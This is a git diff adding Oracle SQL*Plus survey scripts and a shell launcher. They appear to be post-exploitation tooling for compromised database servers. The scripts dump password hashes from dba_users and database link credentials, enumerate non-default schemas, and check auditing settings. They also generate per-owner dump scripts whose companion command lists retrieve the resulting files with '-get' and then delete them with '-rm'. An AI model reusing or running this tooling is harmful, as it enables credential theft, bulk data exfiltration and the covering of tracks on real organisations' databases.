+ttitle center 'Snapshots For User &&1 ' skip skip + +col n heading 'Snapshot Name' +col t heading 'Table Name' +col sp heading '' + +select Name n, Table_Name t, Query, +'************************************************************************************' sp +from all_snapshots +where owner=upper('&1'); + + +ttitle off diff --git a/Linux/etc/oracle/sch_orig.sql b/Linux/etc/oracle/sch_orig.sql new file mode 100644 index 0000000..0484e74 --- /dev/null +++ b/Linux/etc/oracle/sch_orig.sql @@ -0,0 +1,318 @@ +set newpage 0 +set pagesize 9999 +set linesize 1000 +set verify off +set trimspool on +set trimout on +set feedback 6 +set recsep off +set maxdata 60000 +set Numwidth 20 +set longchunk 60000 +set long 9999999 +set termout off +set arraysize 3 + +set heading on +prompt +prompt User Tables: +prompt ------------- + +prompt + +ttitle center 'TABLES FOR USER &1 ' skip skip + +col table_name for a30 wrap +col comments for a49 wrap + + +select unique a.table_name, c.comments +from all_tab_columns a, all_tab_comments c +where a.table_name = c.table_name(+) +and a.owner=c.owner(+) +and a.owner= upper('&&1') +order by a.table_name +/ + +col table_name for a30 wrap +col column_name for a30 wrap +col t for a1 +col len for 9999 +col pr for 99 +col Sc for 99 +col N for a1 +break on table_name skip 0 + +prompt +prompt Table Columns: +prompt --------------- + +prompt + +ttitle center 'TABLE COLUMNS FOR USER &&1 ' skip skip + +select a.table_name, a.column_name, + DECODE(a.data_type, + 'CHAR', 'C', + 'VARCHAR', 'V', + 'VARCHAR2', 'V', + 'NUMBER', 'N', + 'DATE', 'D', + '?') "T", + a.data_length "Len", + a.data_precision "Pr", + a.data_scale "Sc", + a.nullable "N" +from all_tab_columns a +where a.owner= upper('&&1') +order by a.table_name, a.column_name +/ +Prompt +prompt Column Comments: +prompt ----------------- + +prompt + + +ttitle center 'TABLE COLUMN COMMENTS FOR USER &&1 ' skip skip + +col table_name for a15 +col com for a64 wrap +break on table_name skip 2 + +select table_name, '<'||column_name||'> '||comments com +from all_col_comments +where comments is not null +and owner = upper('&&1') +order by 1 +/ + +ttitle off + +Prompt +prompt End of Report + +col cnm for a20 wrap +col com for a40 wrap + +select table_name, column_name cnm, comments com +from all_col_comments +where comments is not null +and owner = upper('&&1') +order by 1 +/ + + + +clear breaks +clear columns +clear computes + + + +set linesize 112 +set heading on + +prompt +prompt Table Constraints: +prompt ------------------- + +prompt + +ttitle center 'TABLE CONSTRAINTS FOR USER &1 ' skip skip + +col tn format a25 wrap heading 'Table Name' +col cn format a25 wrap heading 'Column Name' +col con format a25 wrap heading 'Local Key' +col rc format a25 wrap heading 'Remote Key' +col po format 999,999 heading 'Position' + +select a.table_name tn, a.column_name cn, +a.constraint_name con, b.r_constraint_name rc, a.position po +from sys.all_cons_columns a, sys.all_constraints b +where a.owner= upper('&&1') + and a.table_name=b.table_name + and a.owner=b.owner + and a.constraint_name=b.constraint_name +ORDER BY a.table_name; + + +Prompt +prompt End of Report + +clear columns + +Prompt +prompt Known Table Constraint Joins: +prompt ------------------------------ + +prompt + +set linesize 102 + + +ttitle center 'KNOWN TABLE CONSTRAINT JOINS FOR USER &1 ' skip skip + +col t1 format a50 wrap heading 'TABLE.COLUMN (Foreign Key)' +col t2 format a50 wrap heading 'TABLE.COLUMN (Primary Key)' + +select a.table_name || '.' || a.column_name t1, c.table_name || '.' || c.column_name t2 +from sys.all_cons_columns a, sys.all_constraints b, sys.all_cons_columns c +where a.owner= upper('&&1') + and a.table_name=b.table_name + and a.owner=b.owner + and a.constraint_name=b.constraint_name + and b.constraint_type='R' + and b.owner=c.owner + and b.r_constraint_name=c.constraint_name + and a.position=c.position +ORDER BY a.table_name, a.position; + + +clear columns + +set linesize 100 +set escape ~ +set heading on + +prompt +prompt Possible SELECT Statements: +prompt ---------------------------- + +prompt + +ttitle center 'Possible SELECT Statements For User &1 ' skip skip + +col s fold_after heading 'Select ... ' +col w fold_after heading 'Where ... ' +col o fold_after heading 'Order By ... ' +col sp heading '' + +select 'select * from &1~.' || a.table_name || ' t1 , &1~.' || c.table_name || ' t2 ' s, +'where t1.' || a.column_name || ' = t2.' || c.column_name || ' and rownum < 10' w, +'order by t2.' || c.column_name || ';' o, ' ' sp +from sys.all_cons_columns a, sys.all_constraints b, sys.all_cons_columns c +where a.owner= upper('&&1') + and a.table_name=b.table_name + and a.owner=b.owner + and a.constraint_name=b.constraint_name + and b.constraint_type='R' + and b.owner=c.owner + and b.r_constraint_name=c.constraint_name + and a.position=c.position +ORDER BY a.table_name, a.position; + +Prompt +prompt End of Report + +ttitle off +set linesize 80 + +prompt +prompt User Views: +prompt ------------ + +prompt + +ttitle center 'VIEWS FOR USER &1 ' skip skip + +column view_name for a30 wrap +column text for a80 wrap +column sp heading '' + +set linesize 81 +set heading on + +select view_name, text, +'*******************************************************************************' sp +from sys.all_views +where owner = upper('&&1') +order by view_name +/ + +set linesize 80 + +ttitle off + +prompt +prompt Number of User DB Links: +prompt ------------------------- + +prompt + +select count(*) from user_db_links; + +prompt +prompt Number of All DB Links: +prompt ------------------------ + +prompt + +select count(*) from all_db_links where owner=upper('&1'); + +prompt +prompt Number of Snapshots: +prompt --------------------- + +prompt + +select count(*) from all_snapshots where owner=upper('&1'); + +set echo off + +set linesize 85 + +col db format a30 wrap heading 'DB Link Name' +col h format a20 wrap heading 'Host' +col u format a15 wrap heading 'Username' +col p format a15 wrap heading 'Password' + +prompt +prompt Database Links: +prompt ---------------- + +prompt + +ttitle center 'Database Links ' skip skip + +select username u, password p, db_link db, host h +from user_db_links; + +set linesize 85 + +col db format a30 wrap heading 'DB Link Name' +col h format a20 wrap heading 'Host' +col u format a15 wrap heading 'Username' +col o format a15 wrap heading 'Owner' + +prompt +prompt User Database Links: +prompt --------------------- + +prompt + +ttitle center 'Database Links For User &&1 ' skip skip + +select owner o, username u, db_link db, host h +from all_db_links +where owner=upper('&1'); + +prompt +prompt User Snapshots: +prompt ---------------- + +prompt + +ttitle center 'Snapshots For User &&1 ' skip skip + +col n heading 'Snapshot Name' +col t heading 'Table Name' +col sp heading '' + +select Name n, Table_Name t, Query, +'************************************************************************************' sp +from all_snapshots +where owner=upper('&1'); + + +ttitle off diff --git a/Linux/etc/oracle/t0 b/Linux/etc/oracle/t0 new file mode 100644 index 0000000..bb92093 --- /dev/null +++ b/Linux/etc/oracle/t0 @@ -0,0 +1,17 @@ +ORA_NLS=$ORACLE_HOME/ocommon/nls/admin/data +export ORA_NLS + +PATH=/usr/bin:/usr/ucb:/etc:$ORACLE_HOME/bin:/usr/ccs/bin:/usr/ccs/lib:/usr/local/bin:/usr/sbin +LD_LIBRARY_PATH=$ORACLE_HOME/lib + +export PATH LD_LIBRARY_PATH + +echo ORACLE_BASE = $ORACLE_BASE +echo ORACLE_HOME = $ORACLE_HOME +echo ORACLE_SID = $ORACLE_SID +echo NLS_LANG = $NLS_LANG +echo ORA_NLS = $ORA_NLS + +id + +sqlplus /nolog < t0.sql diff --git a/Linux/etc/oracle/t1_full_survey.sql b/Linux/etc/oracle/t1_full_survey.sql new file mode 100644 index 0000000..a946f83 --- /dev/null +++ b/Linux/etc/oracle/t1_full_survey.sql @@ -0,0 +1,670 @@ +set echo off +set pagesize 9999 +set linesize 1000 +set verify off +set trimspool on +set trimout on +set feedback 6 +set recsep off +set maxdata 60000 +set numwidth 20 +set longchunk 60000 +set long 9999999 +set termout on +set arraysize 3 +set escape ~ +set heading on + +ttitle "Passwords" skip, skip +column username format a25 +column password format a25 +select username, password from dba_users order by username; + +prompt +prompt +prompt NLS Parameters: +prompt --------------- + +prompt +ttitle "Session Parameters" skip, skip +column parameter format a31 +column value format a41 +select * from NLS_SESSION_PARAMETERS; + +prompt +ttitle "Instance Parameters" skip, skip +select * from NLS_INSTANCE_PARAMETERS; +prompt + +prompt +ttitle "Database Parameters" skip, skip +select * from NLS_DATABASE_PARAMETERS; +prompt +prompt +prompt + + +ttitle off +set heading off +set termout off + +clear breaks +clear columns +clear computes + +col a fold_after + +spool getr2.sql +select 'set termout off' a, +'spool r2_' || owner || '.sql' a, +'prompt connect / as SYSDBA' a, +'prompt set termout off' a, +'prompt spool ' || owner || '_sch.txt' a, +'prompt @sch.sql ' || owner a, +'prompt spool off' a, +'prompt @s1.sql ' || owner a, +'prompt set termout off' a, +'prompt spool ' || owner || '_sam.txt' a, +'prompt set echo on' a, +'prompt @s2.sql' a, +'prompt spool off' a, +'prompt set echo off' a, +'prompt set pagesize 55' a, +'prompt set linesize 80' a, +'prompt set arraysize 15' a, +'prompt set maxdata 60000' a, +'prompt set termout on' a, +'spool off' a, +'set termout on' +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +clear columns + + +col a fold_after + +spool getr2_80.sql +select 'set termout off' a, +'spool r2_80_' || owner || '.sql' a, +'prompt connect internal/' a, +'prompt set termout off' a, +'prompt spool ' || owner || '_sch.txt' a, +'prompt @sch.sql ' || owner a, +'prompt spool off' a, +'prompt @s1.sql ' || owner a, +'prompt set termout off' a, +'prompt spool ' || owner || '_sam.txt' a, +'prompt set echo on' a, +'prompt @s2.sql' a, +'prompt spool off' a, +'prompt set echo off' a, +'prompt set pagesize 55' a, +'prompt set linesize 80' a, +'prompt set arraysize 15' a, +'prompt set maxdata 60000' a, +'prompt set termout on' a, +'spool off' a, +'set termout on' +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +clear columns +@getr2.sql +@getr2_80.sql + +set termout off + +col a fold_after + +spool sam8i.txt +prompt These are commands to run against Oracle 8i and higher databases +prompt rm r2_80_* +prompt +select '=======================' a, +'----------Begin - ' || owner || '---------' a, +'-rm r2.sql' a, +'mv r2_' || owner || '.sql r2.sql' a, +'g2 > /dev/null 2>~&1' a, +'-get ' || owner || '_sch.txt' a, +'-get ' || owner || '_sam.txt' a, +'-rm ' || owner || '_sch.txt' a, +'-rm ' || owner || '_sam.txt' a, +'----------Done - ' || owner || '---------' a +from dba_objects do +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +spool sam80.txt +prompt These are commands to run against Oracle 80 databases +select '=======================' a, +'----------Begin - ' || owner || '---------' a, +'-rm r2.sql' a, +'mv r2_80_' || owner || '.sql r2.sql' a, +'g2 > /dev/null 2>~&1' a, +'-get ' || owner || '_sch.txt' a, +'-get ' || owner || '_sam.txt' a, +'-rm ' || owner || '_sch.txt' a, +'-rm ' || owner || '_sam.txt' a, +'----------Done - ' || owner || '---------' a +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +set termout on + +prompt +prompt +prompt Users of Interest: +prompt ------------------ +prompt +ttitle "Passwords" skip, skip +column username format a25 +column password format a25 +select username, password from dba_users +where username != 'SYS' AND + username != 'SYSTEM' AND + username != 'ANONYMOUS' AND + username != 'APEX_PUBLIC_USER' AND + username != 'AURORA$JIS$UTILITY$' AND + username != 'AURORA$ORB$UNAUTHENTICATED' AND + username != 'BI' AND + username != 'CTXSYS' AND + username != 'DBADMIN' AND + username != 'DBSNMP' AND + username != 'DEMO' AND + username != 'DIP' AND + username != 'DMSYS' AND + username != 'DRSYS' AND + username != 'EXFSYS' AND + username != 'FLOWS_030000' AND + username != 'FLOWS_FILES' AND + username != 'HR' AND + username != 'IX' AND + username != 'MDDATA' AND + username != 'MDSYS' AND + username != 'MGMT_VIEW' AND + username != 'MTSSYS' AND + username != 'ODM' AND + username != 'ODM_MTR' AND + username != 'OE' AND + username != 'OLAPDBA' AND + username != 'OLAPSVR' AND + username != 'OLAPSYS' AND + username != 'ORA_MONITOR' AND + username != 'ORACLE_OCM' AND + username != 'ORDPLUGINS' AND + username != 'ORDSYS' AND + username != 'OSE$HTTP$ADMIN' AND + username != 'OUTLN' AND + username != 'OWBSYS' AND + username != 'PM' AND + username != 'PUBLIC' AND + username != 'QS' AND + username != 'QS_ADM' AND + username != 'QS_CB' AND + username != 'QS_CBADM' AND + username != 'QS_CS' AND + username != 'QS_ES' AND + username != 'QS_OS' AND + username != 'QS_WS' AND + username != 'RMAN'AND + username != 'SCOTT' AND + username != 'SH' AND + username != 'SI_INFORMTN_SCHEMA' AND + username != 'SPATIAL_CSW_ADMIN_USR' AND + username != 'SPATIAL_WFS_ADMIN_USR' AND + username != 'SYSMAN' AND + username != 'TSMSYS' AND + username != 'WKPROXY' AND + username != 'WKSYS' AND + username != 'WK_TEST' AND + username != 'WMSYS' AND + username != 'XDB' AND + username != 'XS$NULL' +order by username; +prompt ---------------------------------------- + +prompt +ttitle 'Object Counts for Users of Interest' skip skip +prompt ------------------------------------- + +prompt +col ow format a18 heading 'Owner' +col ta format 999,999 heading 'Tables' +col ve format 999,999 heading 'Views' + +select owner ow, + sum(decode(object_type,'TABLE',1,0)) ta , + sum(decode(object_type,'VIEW',1,0)) ve +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner +order by ta; +prompt ---------------------------------------- + +prompt + +ttitle off +set heading off + +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt +ttitle "Auditing Parameters Of Interest" skip, skip +prompt --------------------------------- + +column name format a30 wrapped +column value format a50 wrapped +select name, value +from v$parameter +where name like 'audit%'; + +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt +ttitle "Language Parameters Of Interest" skip, skip +prompt --------------------------------- + +select * from NLS_DATABASE_PARAMETERS where PARAMETER like '%CHARACTERSET'; +prompt +prompt +prompt + +prompt Run this to set the NLS_LANG variable: +prompt --------------------------------------- + +select '-setenv NLS_LANG=AMERICAN_AMERICA.' || value from NLS_DATABASE_PARAMETERS where PARAMETER = 'NLS_CHARACTERSET'; +prompt +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt + +set termout off +set heading on +spool pass.txt +prompt +prompt ---------------------------------------------- + +prompt +column username format a25 +column password format a25 +select username, password from dba_users +where username != 'ANONYMOUS' AND + username != 'APEX_PUBLIC_USER' AND + username != 'AURORA$JIS$UTILITY$' AND + username != 'AURORA$ORB$UNAUTHENTICATED' AND + username != 'BI' AND + username != 'CTXSYS' AND + username != 'DBADMIN' AND + username != 'DBSNMP' AND + username != 'DEMO' AND + username != 'DIP' AND + username != 'DMSYS' AND + username != 'DRSYS' AND + username != 'EXFSYS' AND + username != 'FLOWS_030000' AND + username != 'FLOWS_FILES' AND + username != 'HR' AND + username != 'IX' AND + username != 'MDDATA' AND + username != 'MDSYS' AND + username != 'MGMT_VIEW' AND + username != 'MTSSYS' AND + username != 'ODM' AND + username != 'ODM_MTR' AND + username != 'OE' AND + username != 'OLAPDBA' AND + username != 'OLAPSVR' AND + username != 'OLAPSYS' AND + username != 'ORA_MONITOR' AND + username != 'ORACLE_OCM' AND + username != 'ORDPLUGINS' AND + username != 'ORDSYS' AND + username != 'OSE$HTTP$ADMIN' AND + username != 'OUTLN' AND + username != 'OWBSYS' AND + username != 'PM' AND + username != 'PUBLIC' AND + username != 'QS' AND + username != 'QS_ADM' AND + username != 'QS_CB' AND + username != 'QS_CBADM' AND + username != 'QS_CS' AND + username != 'QS_ES' AND + username != 'QS_OS' AND + username != 'QS_WS' AND + username != 'RMAN'AND + username != 'SCOTT' AND + username != 'SH' AND + username != 'SI_INFORMTN_SCHEMA' AND + username != 'SPATIAL_CSW_ADMIN_USR' AND + username != 'SPATIAL_WFS_ADMIN_USR' AND + username != 'SYSMAN' AND + username != 'TSMSYS' AND + username != 'WKPROXY' AND + username != 'WKSYS' AND + username != 'WK_TEST' AND + username != 'WMSYS' AND + username != 'WK_TEST' AND + username != 'WMSYS' AND + username != 'XDB' AND + username != 'XS$NULL' +order by username; +prompt ---------------------------------------------------- + +prompt +spool off + + diff --git a/Linux/etc/oracle/t1_no_survey.sql b/Linux/etc/oracle/t1_no_survey.sql new file mode 100644 index 0000000..18c9063 --- /dev/null +++ b/Linux/etc/oracle/t1_no_survey.sql @@ -0,0 +1,315 @@ +set echo off +set pagesize 9999 +set linesize 1000 +set verify off +set trimspool on +set trimout on +set feedback 6 +set recsep off +set maxdata 60000 +set numwidth 20 +set longchunk 60000 +set long 9999999 +set termout on +set arraysize 3 +set escape ~ +set heading on + +ttitle "Passwords" skip, skip +column username format a25 +column password format a25 +select username, password from dba_users order by username; + +prompt +prompt +prompt NLS Parameters: +prompt --------------- + +prompt +ttitle "Session Parameters" skip, skip +column parameter format a31 +column value format a41 +select * from NLS_SESSION_PARAMETERS; + +prompt +ttitle "Instance Parameters" skip, skip +select * from NLS_INSTANCE_PARAMETERS; +prompt + +prompt +ttitle "Database Parameters" skip, skip +select * from NLS_DATABASE_PARAMETERS; +prompt +prompt +prompt + + +set termout on + +prompt +prompt +prompt Users of Interest: +prompt ------------------ +prompt +ttitle "Passwords" skip, skip +column username format a25 +column password format a25 +select username, password from dba_users +where username != 'SYS' AND + username != 'SYSTEM' AND + username != 'ANONYMOUS' AND + username != 'APEX_PUBLIC_USER' AND + username != 'AURORA$JIS$UTILITY$' AND + username != 'AURORA$ORB$UNAUTHENTICATED' AND + username != 'BI' AND + username != 'CTXSYS' AND + username != 'DBADMIN' AND + username != 'DBSNMP' AND + username != 'DEMO' AND + username != 'DIP' AND + username != 'DMSYS' AND + username != 'DRSYS' AND + username != 'EXFSYS' AND + username != 'FLOWS_030000' AND + username != 'FLOWS_FILES' AND + username != 'HR' AND + username != 'IX' AND + username != 'MDDATA' AND + username != 'MDSYS' AND + username != 'MGMT_VIEW' AND + username != 'MTSSYS' AND + username != 'ODM' AND + username != 'ODM_MTR' AND + username != 'OE' AND + username != 'OLAPDBA' AND + username != 'OLAPSVR' AND + username != 'OLAPSYS' AND + username != 'ORA_MONITOR' AND + username != 'ORACLE_OCM' AND + username != 'ORDPLUGINS' AND + username != 'ORDSYS' AND + username != 'OSE$HTTP$ADMIN' AND + username != 'OUTLN' AND + username != 'OWBSYS' AND + username != 'PM' AND + username != 'PUBLIC' AND + username != 'QS' AND + username != 'QS_ADM' AND + username != 'QS_CB' AND + username != 'QS_CBADM' AND + username != 'QS_CS' AND + username != 'QS_ES' AND + username != 'QS_OS' AND + username != 'QS_WS' AND + username != 'RMAN'AND + username != 'SCOTT' AND + username != 'SH' AND + username != 'SI_INFORMTN_SCHEMA' AND + username != 'SPATIAL_CSW_ADMIN_USR' AND + username != 'SPATIAL_WFS_ADMIN_USR' AND + username != 'SYSMAN' AND + username != 'TSMSYS' AND + username != 'WKPROXY' AND + username != 'WKSYS' AND + username != 'WK_TEST' AND + username != 'WMSYS' AND + username != 'XDB' AND + username != 'XS$NULL' +order by username; +prompt ---------------------------------------- + +prompt +ttitle 'Object Counts for Users of Interest' skip skip +prompt ------------------------------------- + +prompt +col ow format a18 heading 'Owner' +col ta format 999,999 heading 'Tables' +col ve format 999,999 heading 'Views' + +select owner ow, + sum(decode(object_type,'TABLE',1,0)) ta , + sum(decode(object_type,'VIEW',1,0)) ve +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner +order by ta; +prompt ---------------------------------------- + 